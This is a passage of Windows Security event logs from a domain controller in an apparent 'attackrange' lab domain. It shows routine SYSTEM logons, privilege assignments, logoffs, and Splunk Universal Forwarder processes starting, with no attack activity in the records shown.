	Account Domain:		ATTACKRANGE
	Logon ID:		0xB6650

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254112
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB6650
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62347

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254111
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB6650

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:57:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254155
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB7A09

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:57:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254154
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB7B18

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:57:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254153
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB7B62

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:57:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254152
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB7C02
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62363

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:57:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254151
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB7C02

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:57:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254150
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB7B62
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		62362

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:57:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254149
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB7B62

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:57:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254148
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB7B18
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:57:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254147
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB7B18

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:57:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254146
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB7A09
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62361

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:57:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254145
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB7A09

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:57:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254156
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc40
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:57:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254157
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:57:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254158
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa50
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:57:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254159
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd40
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:57:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254163
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1224
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:57:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254162
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:57:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254161
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB9329
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62365

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:57:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254160
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB9329

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:57:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254164
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x944
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:57:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254165
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB7C02

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:57:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254168
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBB49E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:57:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254167
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
